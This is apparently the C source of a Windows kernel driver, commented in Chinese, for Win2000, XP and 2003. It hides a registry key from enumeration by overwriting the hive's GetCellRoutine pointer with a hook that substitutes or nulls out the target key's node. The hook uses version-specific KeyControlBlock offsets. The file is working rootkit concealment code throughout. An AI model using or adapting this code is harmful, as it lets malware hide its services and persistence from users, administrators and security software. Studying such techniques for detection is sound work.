#include <ntddk.h>

#define GET_PTR(ptr, offset) ( *(PVOID*)( (ULONG)ptr + (offset##Offset) ) )

#define CM_KEY_INDEX_ROOT 0x6972 // ir
#define CM_KEY_INDEX_LEAF 0x696c // il
#define CM_KEY_FAST_LEAF 0x666c // fl
#define CM_KEY_HASH_LEAF 0x686c // hl

// 一些CM的数据结构，只列出用到的开头部分
#pragma pack(1)
typedef struct _CM_KEY_NODE {
 USHORT Signature;
 USHORT Flags;
 LARGE_INTEGER LastWriteTime;
 ULONG Spare; // used to be TitleIndex
 HANDLE Parent;
 ULONG SubKeyCounts[2]; // Stable and Volatile
 HANDLE SubKeyLists[2]; // Stable and Volatile
 // ...
} CM_KEY_NODE, *PCM_KEY_NODE;

typedef struct _CM_KEY_INDEX {
 USHORT Signature;
 USHORT Count;
 HANDLE List[1];
} CM_KEY_INDEX, *PCM_KEY_INDEX;

typedef struct _CM_KEY_BODY {
 ULONG Type; // "ky02"
 PVOID KeyControlBlock;
 PVOID NotifyBlock;
 PEPROCESS Process; // the owner process
 LIST_ENTRY KeyBodyList; // key_nodes using the same kcb
} CM_KEY_BODY, *PCM_KEY_BODY;

typedef PVOID (__stdcall *PGET_CELL_ROUTINE)(PVOID, HANDLE);

typedef struct _HHIVE {
 ULONG Signature;
 PGET_CELL_ROUTINE GetCellRoutine;
 // ...
} HHIVE, *PHHIVE;
#pragma pack()

// 需隐藏的主键名
WCHAR g_HideKeyName[] = L"\\Registry\\Machine\\SYSTEM\\CurrentControlSet\\Services\\Beep";

PGET_CELL_ROUTINE g_pGetCellRoutine = NULL;
PGET_CELL_ROUTINE* g_ppGetCellRoutine = NULL;

PCM_KEY_NODE g_HideNode = NULL;
PCM_KEY_NODE g_LastNode = NULL;

// 打开指定名字的Key
HANDLE OpenKeyByName(PCWSTR pwcsKeyName)
{
 NTSTATUS status;
 UNICODE_STRING uKeyName;
 OBJECT_ATTRIBUTES oa;
 HANDLE hKey;

 RtlInitUnicodeString(&uKeyName, pwcsKeyName);
 InitializeObjectAttributes(&oa, &uKeyName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
 status = ZwOpenKey(&hKey, KEY_READ, &oa);
 if (!NT_SUCCESS(status))
 {
 DbgPrint("ZwOpenKey Failed: %lx\n", status);
 return NULL;
 }

 return hKey;
}

// 获取指定Key句柄的KeyControlBlock
PVOID GetKeyControlBlock(HANDLE hKey)
{
 NTSTATUS status;
 PCM_KEY_BODY KeyBody;
 PVOID KCB;

 if (hKey == NULL) return NULL;

 // 由Key句柄获取对象体
 status = ObReferenceObjectByHandle(hKey, KEY_READ, NULL, KernelMode, &KeyBody, NULL);
 if (!NT_SUCCESS(status))
 {
 DbgPrint("ObReferenceObjectByHandle Failed: %lx\n", status);
 return NULL;
 }

 // 对象体中含有KeyControlBlock
 KCB = KeyBody->KeyControlBlock;
 DbgPrint("KeyControlBlock = %lx\n", KCB);

 ObDereferenceObject(KeyBody);

 return KCB;
}

// 获取父键的最后一个子键的节点
PVOID GetLastKeyNode(PVOID Hive, PCM_KEY_NODE Node)
{
 // 获取父键的节点
 PCM_KEY_NODE ParentNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, Node->Parent);
 // 获取子键的索引
 PCM_KEY_INDEX Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, ParentNode->SubKeyLists[0]);

 DbgPrint("ParentNode = %lx\nIndex = %lx\n", ParentNode, Index);

 // 如果为根(二级)索引，获取最后一个索引
 if (Index->Signature == CM_KEY_INDEX_ROOT)
 {
 Index = (PCM_KEY_INDEX)g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
 DbgPrint("Index = %lx\n", Index);
 }

 if (Index->Signature == CM_KEY_FAST_LEAF || Index->Signature == CM_KEY_HASH_LEAF)
 {
 // 快速叶索引(2k)或散列叶索引(XP/2k3)，返回最后的节点
 return g_pGetCellRoutine(Hive, Index->List[2*(Index->Count-1)]);
 }
 else
 {
 // 一般叶索引，返回最后的节点
 return g_pGetCellRoutine(Hive, Index->List[Index->Count-1]);
 }
}

// GetCell例程的钩子函数
PVOID MyGetCellRoutine(PVOID Hive, HANDLE Cell)
{
 // 调用原函数
 PVOID pRet = g_pGetCellRoutine(Hive, Cell);
 if (pRet)
 {
 // 返回的是需要隐藏的节点
 if (pRet == g_HideNode)
 {
 DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
 // 查询、保存并返回其父键的最后一个子键的节点
 pRet = g_LastNode = (PCM_KEY_NODE)GetLastKeyNode(Hive, g_HideNode);
 DbgPrint("g_LastNode = %lx\n", g_LastNode);
 // 隐藏的正是最后一个节点，返回空值
 if (pRet == g_HideNode) pRet = NULL;
 }
 // 返回的是先前保存的最后一个节点
 else if (pRet == g_LastNode)
 {
 DbgPrint("GetCellRoutine(%lx, %08lx) = %lx\n", Hive, Cell, pRet);
 // 清空保存值，并返回空值
 pRet = g_LastNode = NULL;
 }
 }
 return pRet;
}

NTSTATUS DriverUnload(PDRIVER_OBJECT pDrvObj)
{
 DbgPrint("DriverUnload()\n");
 // 解除挂钩
 if (g_ppGetCellRoutine) *g_ppGetCellRoutine = g_pGetCellRoutine;
 return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(PDRIVER_OBJECT pDrvObj, PUNICODE_STRING pRegPath)
{
 ULONG BuildNumber;
 ULONG KeyHiveOffset; // KeyControlBlock->KeyHive
 ULONG KeyCellOffset; // KeyControlBlock->KeyCell
 HANDLE hKey;
 PVOID KCB, Hive;

 DbgPrint("DriverEntry()\n");

 pDrvObj->DriverUnload = DriverUnload;

 // 查询BuildNumber
 if (PsGetVersion(NULL, NULL, &BuildNumber, NULL)) return STATUS_NOT_SUPPORTED;
 DbgPrint("BuildNumber = %d\n", BuildNumber);

 // KeyControlBlock结构各版本略有不同
 // Cell的值一般小于0x80000000，而Hive正相反，以此来判断也可以
 switch (BuildNumber)
 {
 case 2195: // Win2000
 KeyHiveOffset = 0xc;
 KeyCellOffset = 0x10;
 break;
 case 2600: // WinXP
 case 3790: // Win2003
 KeyHiveOffset = 0x10;
 KeyCellOffset = 0x14;
 break;
 default:
 return STATUS_NOT_SUPPORTED;
 }

 // 打开需隐藏的键
 hKey = OpenKeyByName(g_HideKeyName);
 // 获取该键的KeyControlBlock
 KCB = GetKeyControlBlock(hKey);
 if (KCB)
 {
 // 由KCB得到Hive
 PHHIVE Hive = (PHHIVE)GET_PTR(KCB, KeyHive);
 // GetCellRoutine在KCB中，保存原地址
 g_ppGetCellRoutine = &Hive->GetCellRoutine;
 g_pGetCellRoutine = Hive->GetCellRoutine;
 DbgPrint("GetCellRoutine = %lx\n", g_pGetCellRoutine);
 // 获取需隐藏的节点并保存
 g_HideNode = (PCM_KEY_NODE)g_pGetCellRoutine(Hive, GET_PTR(KCB, KeyCell));
 // 挂钩GetCell例程
 Hive->GetCellRoutine = MyGetCellRoutine;
 }
 ZwClose(hKey);

 return STATUS_SUCCESS;
}